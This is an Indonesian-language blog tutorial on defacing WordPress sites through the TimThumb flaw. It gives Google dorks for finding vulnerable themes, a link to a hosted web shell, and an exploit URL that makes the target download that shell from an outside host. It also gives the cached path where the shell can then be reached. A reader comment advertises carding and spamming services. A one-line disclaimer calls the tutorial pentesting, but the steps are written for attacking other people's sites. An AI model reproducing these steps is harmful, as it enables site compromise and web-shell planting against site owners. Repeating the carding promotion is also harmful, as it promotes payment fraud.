Deface Metode ThimThumb Exploit Wordpres

Deface Metode ThimThumb Exploit Wordpres

Assalamualaikum Wr.Wb
Baiklah bertemu lagi dengan saya Adewa (Mr.Adewa)
Terimakasih telah berkunjung ke web sederhanan ini. Hehe
Kali ini saya akan memberikan Tutorial Deface Metode ThimThumb Exploit Wordpres

Baca juga
https://adewa-official.blogspot.co.id/2018/02/deface-metode-webyep-system-infos.html

Sebelum deface kalian harus mempunyai shell bypass untuk thimthumb
-Shell Timthumb (Polosan klik di sini)
http://flickr.com.x-groups.org/M3PS.php
-Dork
Dork timthumb banyak pilih salah satu aja
inurl:/wp-content/themes/nool
inurl:/wp-content/themes/Nova
inurl:/wp-content/themes/Askit
 Langsung saja kita mulai
1. Kembangkan dork kalian, Tambahin site:bla bla atau ganti theme nya. Dorking gogle dulu sayang


2. Masukkan exploit thimthumb.php Jika vuln akan ada seperti ini


3. Masukkan shellnya. Jika kalian tidak mengerti membuat shellnya pakai aja shell di atas (Punya indoXploit)

4. Masukkan exploit shell seperti ini site.com/timthumb.php?src=http://flickr.com.x-groups.org/M3PS.php


5. Maka akan keluar akses shell kalian berbentuk kode MD5. Akses shellnya
Patch Shell or Akses shell
namasite.com/cache/external_kode MD5.php

Jika masih kurang jelas bisa lihat tutor di bawah ini


Jangan lupa baca juga
https://adewa-official.blogspot.co.id/2018/02/cara-download-vidio-di-youtube-satu.html
Catatan. Saya Admin tidak pernah bertanggung jawab dengan apa yang kalian perbuat
Jika ada masalah jangan pernah menyalakan website ini 
Tutor ini di buat untuk mengetest/pentester suatu website apakah web itu memiliki bug apa enggak
Mungkin hanya itu kata kata yg bisa saya ucapkan 

Sekian dan Terimakasih
Wassalamualaikum Wr.Wb

Subscribe to receive free email updates:

2 Responses to "Deface Metode ThimThumb Exploit Wordpres"

  1. keren gan,, kunjungi juga website

    www.rabiitch.ga

    - carding paypal
    - carding bitcoin
    - carding ebay
    - carding amazon
    - spammer
    - defacer
    - Tutorial
    - Website Order
    - Daily
    - Blackhell Team
    - Got Money Fast
    DLL

    ReplyDelete